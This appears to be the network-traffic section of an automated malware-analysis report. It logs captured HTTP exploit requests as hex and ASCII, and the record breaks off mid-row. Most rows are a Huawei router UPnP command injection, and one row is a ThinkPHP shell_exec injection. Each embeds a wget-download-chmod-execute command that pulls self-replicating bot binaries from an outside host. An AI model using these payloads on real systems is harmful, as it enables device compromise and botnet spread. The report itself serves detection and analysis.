| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris;Data Raw: Data Ascii: |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 